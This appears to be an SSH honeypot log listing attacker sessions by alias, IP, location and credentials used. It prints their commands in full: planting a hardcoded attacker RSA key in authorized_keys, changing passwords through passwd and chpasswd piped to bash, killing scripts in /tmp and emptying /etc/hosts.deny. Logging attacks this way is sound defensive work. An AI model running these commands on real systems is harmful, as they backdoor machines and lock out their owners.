$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nrF7d69LkD1XL\nrF7d69LkD1XL"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nrF7d69LkD1XL\nrF7d69LkD1XL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ arctic_dutch_sol (77.239.124.248) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-03 18:26 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ gnarled_tulip_root (91.92.40.23) โ€” Eygelshoven, The Netherlands ยท 15 sessions ยท 15 cmds
2026-08-03 18:54 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—15
๐ŸŽญ wired_ramen (182.171.90.17) โ€” Shinjuku, Japan ยท 1 session ยท 20 cmds
2026-08-03 17:42 EDT ยท as user/user
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo hardcoded RSA key โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo user/qeBWKYSUbAwG|passwd|bash โ†’ cat /proc/cpuinfo | grep model | head -n 1 | awk extract CPU flags โ†’ free -m | grep Mem |
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\nqeBWKYSUbAwG\nqeBWKYSUbAwG"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nqeBWKYSUbAwG\nqeBWKYSUbAwG\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ weary_stroopwafel_sol (77.239.124.244) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-03 15:55 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ nocturnal_tiger_root (125.21.59.218) โ€” Gurugram, India ยท 1 session ยท 19 cmds
2026-08-03 15:43 EDT ยท as root/Aaa123123
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:CYomeLM7PTTf"|chpasswd|bash โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | grep name | wc -l โ†’ free -m | grep Mem | awk '{print $
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:CYomeLM7PTTf"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_drifter_root (141.98.86.147) โ€” Helsinki, Finland ยท 1 session ยท 2 cmds
2026-08-03 14:40 EDT ยท as oracle/09N1RCa1Hs31
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_ghost_sol (202.79.29.108) โ€” Phnom Penh, Cambodia ยท 2 sessions ยท 22 cmds
2026-07-05 04:38 EDT ยท as admin/123456, oracle/1234qwer
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\n6Bslg1UmFR4C\n6Bslg1UmFR4C"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\n6Bslg1UmFR4C\n6Bslg1UmFR4C\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ venomous_lotus_root_2 (4.240.51.2) โ€” Pune, India ยท 1 session ยท 20 cmds
2026-08-03 13:48 EDT ยท as admin/123456
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ echo -e "123456
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nyDijYZtWjj56\nyDijYZtWjj56"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nyDijYZtWjj56\nyDijYZtWjj56\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ lurking_rogue_sol (103.59.163.132) โ€” Yangon, Myanmar ยท 2 sessions ยท 22 cmds
2026-07-05 04:38 EDT ยท as admin/123456, oracle/1234qwer
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nDyCU3Qx79tUq\nDyCU3Qx79tUq"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nDyCU3Qx79tUq\nDyCU3Qx79tUq\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ aloof_gouda_root (91.92.42.52) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-03 11:13 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ spectral_tulip_sol (91.92.47.35) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-08-03 09:17 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ silent_volcano_root (103.188.177.46) โ€” Jakarta, Indonesia ยท 3 sessions ยท 23 cmds
2026-07-11 19:11 EDT ยท as oracle/Oracle12, oracle/oracle@2024, root/pass123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:X0Izomm72kJK"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ grumpy_gaucho_sol (181.104.2.87) โ€” Buenos Aires, Argentina ยท 1 session ยท 20 cmds
2026-08-03 07:28 EDT ยท as sol/123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123\nJQqdLyukNBid\nJQqdLyukNBid"|passwd|bash
$ Enter new UNIX password:
$ echo "123\nJQqdLyukNBid\nJQqdLyukNBid\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_mate_sol (181.104.2.65) โ€” Buenos Aires, Argentina ยท 3 sessions ยท 42 cmds
2026-07-05 04:18 EDT ยท as oracle/1234qwer, oracle/Oracle, sol/123
SSH brute force with oracle/1234qwer โ†’ chattr/lockr immutable flags on .ssh โ†’ rm -rf .ssh to bypass locks โ†’ passwd backdoor injection โ†’ cat /proc/cpuinfo hardware profiling โ†’ free memory audit โ†’ top process monitoring โ†’ crontab persistence check โ†’ uname architecture verification.
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l ร—2
โ†ณ CPU profiling
$ echo -e "123\n9wh9asorsEQQ\n9wh9asorsEQQ"|passwd|bash
$ Enter new UNIX password: ร—2
$ echo "123\n9wh9asorsEQQ\n9wh9asorsEQQ\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ร—2
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ร—2
$ ls -lh $(which ls) ร—2
$ which ls ร—2
$ crontab -l ร—2
โ†ณ persistence setup
$ w ร—2
โ†ณ logged-in users check
$ uname -m ร—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l ร—2
โ†ณ CPU profiling
$ top ร—2
โ†ณ process monitoring
$ uname ร—2
โ†ณ OS identification
$ uname -a ร—2
โ†ณ OS/kernel identification
$ whoami ร—2
โ†ณ privilege check
$ lscpu | grep Model ร—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ร—2
$ echo -e "1234qwer\nRSM2u7C28X20\nRSM2u7C28X20"|passwd|bash
$ echo "1234qwer\nRSM2u7C28X20\nRSM2u7C28X20\n"|passwd
๐ŸŽญ glitchy_padthai_root (8.213.226.73) โ€” Bangkok, Thailand ยท 1 session ยท 1 cmd
2026-08-03 06:00 EDT ยท as pi/raspberry
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ silent_sakura_root (43.165.178.246) โ€” Tokyo, Japan ยท 1 session ยท 19 cmds
2026-08-03 02:30 EDT ยท as root/Aaa123123
cd ~; chattr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:KAzvQc5SLXVO"|chpasswd|bash โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | grep name | wc -l โ†’ free -m | grep Mem | awk '{print
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:KAzvQc5SLXVO"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rogue_amber_root (83.168.107.148) โ€” Wroclaw, Poland ยท 32 sessions ยท 32 cmds
2026-08-03 00:50 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ sullen_panda_root_129 (124.223.108.129) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-08-02 23:40 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ vapor_static_root (190.119.63.98) โ€” La Victoria, Peru ยท 1 session ยท 2 cmds
2026-08-02 23:17 EDT ยท as oracle/a
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_lotus_root (14.225.218.99) โ€” Hanoi, Vietnam ยท 1 session ยท 2 cmds
2026-08-02 23:03 EDT ยท as oracle/adminadmin
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_tiger_root (20.192.26.228) โ€” Pune, India ยท 1 session ยท 20 cmds
2026-08-02 21:37 EDT ยท as tomcat/tomcat
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "tomcat\ncooM2oJK0YWC\ncooM2oJK0YWC"|passwd|bash โ†’ Enter
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat\ncooM2oJK0YWC\ncooM2oJK0YWC"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat\ncooM2oJK0YWC\ncooM2oJK0YWC\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
